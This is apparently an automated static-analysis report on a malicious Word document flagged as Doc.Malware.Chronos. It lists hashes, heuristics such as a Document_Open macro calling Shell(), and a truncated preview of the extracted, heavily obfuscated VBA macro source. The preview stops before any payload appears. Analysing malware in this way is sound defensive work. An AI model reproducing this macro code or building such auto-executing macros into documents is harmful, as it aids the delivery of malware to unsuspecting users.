Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 af2a22241b56fdd1…

MALICIOUS

Office (OLE)

151.0 KB Created: 2018-04-23 23:42:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: 16c742a7c1e5f189a50efd1f1d42273e SHA-1: bc1c8589b47a7885455a79c00acdef918f959151 SHA-256: af2a22241b56fdd10cc3b33790b014ca22025c87671fcaadffad626899a20350
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function. This indicates the document is designed to execute arbitrary commands upon opening, a common technique for downloading and running additional malicious payloads. The ClamAV detection name 'Doc.Malware.Chronos-6897935-0' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25396 bytes
SHA-256: dcc62328a79f35b4a28f5351ebfb4179003aa7e818f5f0ddce992917a900e7b6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub etlLSJ(oGIaBBz As Boolean)
    lorOBQyJ = Space(12)
    While JbBbXZ < 41
        jxEClY = 120 - 624 - 1032
        cGGlpZCj = Left("DB*!QmvD!i", 2)
        xLfHUG = 1206 - 110 - 790
        GOMRlbcm = 753 - 1619 - 1263
        JbBbXZ = JbBbXZ + 2
    Wend

    ykTVF = StrReverse("lZ_HjcWkXN-Q")
    jxEClY = RTrim("OC &.sJ$]NC[Bp")
    jmKwmFs = UCase("SmVk]##bLMOD!)o ")
    ykTVF = 372 - 1178 - 928
    BCtePvr = "VXXWMhDbMgjj)OwWKRB]" + "mC_-bBV.vHxi" + "s-Zo-scZCCWjfqsGh"
    jxEClY = Space(19)
    nNacV = Left("SU(f[UBv.w VDzgQN", 2)
    nNacV = Left("X#CiIvxRfpWy[ReG", 3)
    nNacV = StrReverse(")MZOc?dknHV(riA")
    jmKwmFs = "QqypJFSibWE$(" + "!cJebNO?s-NN$" + "))^dOWA*)?(X .od-"
    xLfHUG = 136 + 1356 + 571
    BCtePvr = Right("[C&ufAimwxK#", 3)
    lorOBQyJ = StrReverse("xuAgy gatUnFeVsznJ")
    xLfHUG = Space(18)
    ykTVF = Right("^QpsfUtwPbtQ", 4)
    GOMRlbcm = LTrim("jzDap(LxA@")
    cGGlpZCj = StrReverse("OOTo.h]@aXbe]!h")
    lorOBQyJ = 1158 + 1401 + 1336
    xLfHUG = UCase(" bWslH %.XVMXf")
    nNacV = Left("mcDkRAL!D!%OQ-Xfvmc?", 4)
    GOMRlbcm = Left("cKsu)whO#Jh]VwXzw", 5)
    jmKwmFs = 118 - 618 - 1823
    lorOBQyJ = LTrim("#^(z]PPK#OaHxJj^IdF")
    GOMRlbcm = 435 + 1496 + 589
    nNacV = 1072 - 1090 - 1243
    cGGlpZCj = "ddUpOMcKAyvWz" + "Ie]H) Du^m!m" + "iY-$eIb IG"
    For WLCzrO = 0 To 87
        jxEClY = UCase("qno#.IuWHW")
        xLfHUG = "$Y@n(RmCJ?]A^" + "!IiCJ$tmM.*dncJ" + "nhdAdvovRXOVkoCNm^xI"
        cGGlpZCj = 106 + 922 + 153
        cXigp = Right("xZWwFTZdDcBMyBK qQG", 2)
        GOMRlbcm = 1896 + 1318 + 650
        jmKwmFs = "v_w.)JUmnuFa!E" + "pzwSJDm)?n?Fyoyu" + "Q^Y_f-?mu?J^l&kk%j"
        cXigp = Left("p(TrKO*fzV!&w V$F#$", 2)
        jxEClY = 640 - 262 - 172
        lorOBQyJ = 1453 + 894 + 480
    Next WLCzrO

    cXigp = Left("U)Thw*G(NTPt", 4)
    xLfHUG = LTrim("&MOuF@BQ-KY$CO.[mVR")
    While IjztyD < 224
        BCtePvr = UCase("dQaG(RT)ktQH&J-")
        xLfHUG = StrReverse("-acOs&El XI")
        nNacV = RTrim("DhJ@NIcrciOdr")
        cGGlpZCj = Right("TF-#  $xyAh@?FEmWA_[", 4)
        jmKwmFs = 131 + 562 + 1797
        IjztyD = IjztyD + 2
    Wend

    lorOBQyJ = "*b)Ey_E?H&" + "ENhXtJsodOn%aO]h!oc" + "m.l.yw]eXAm"
    BCtePvr = StrReverse("izv!vkOlsXOhz#t")
    lorOBQyJ = Right("pvWjAwYzx%rOZ", 3)
End Sub

Private Function OQpCCq(OznIlQp As Boolean, UxKpZK As Boolean, dcIDlGY As String) As String
    lorOBQyJ = Right("sz^Oh#wR[C", 2)
    lorOBQyJ = " DJ*_xvsTQ*b" + "PErf?*QQsIYrh)" + "Po.Sy%#oOIXybD)sd"
    While yIcApr < 58
        BCtePvr = Left("WUGj?]N[U*_o.#", 3)
        lorOBQyJ = RTrim("#?ThBRGzKMIi(")
        cGGlpZCj = 583 + 947 + 653
        yIcApr = yIcApr + 2
    Wend

    GOMRlbcm = 304 + 691 + 632
    xLfHUG = Left("y)vy_([SCX)Lvd", 3)
    ykTVF = 1894 - 1528 - 1434
    lorOBQyJ = 404 + 1286 + 293
    jmKwmFs = Left("IbS* zUkLb?Wp%", 4)
    GOMRlbcm = 1028 - 1022 - 1414
    ykTVF = StrReverse("GrwCNPAHPU?[FrmtnD(")
    ykTVF = 993 - 265 - 698
    jmKwmFs = Left("cTwhHdRERV", 4)
    jmKwmFs = "cLRc&uf &IA@zCSFb" + "HUeUv$hb)H%gYy" + "nmU*fXJNjUr"
    BCtePvr = Space(13)
    lorOBQyJ = 788 - 1983 - 388
    nNacV = 1465 - 1532 - 965
    While RLMrbP < 19
        BCtePvr = Right("s$KJw&vcRy?OhWT^L", 3)
        ykTVF = LTrim("g)g#wW$[eC#%")
        cXigp = "(#JwMszQasXt&" + "HG_?kpuStNsB" + "u@y)LdZgj-"
        cXigp = UCase("%eV^ Hsm%vKmQhuCvg&W")
        cXigp = LTrim("lA[JMTA@jmw*")
        nNacV = StrReverse("-Tj#G&d(NXTCF%r")
        nNacV = 395 + 1452 + 609
        cXigp = UCase("[&SAs^[b]EPLGR")
        jxEClY = LTrim("he_SvLP-RBa]%^tS?")
        GOMRlbcm = 1112 - 358 - 574
        RLMrbP = RLMrbP + 1
    Wend

    xLfHUG = UCase("q(kzhtjfAEt_*WFFD")
    jmKwmFs =
... (truncated)

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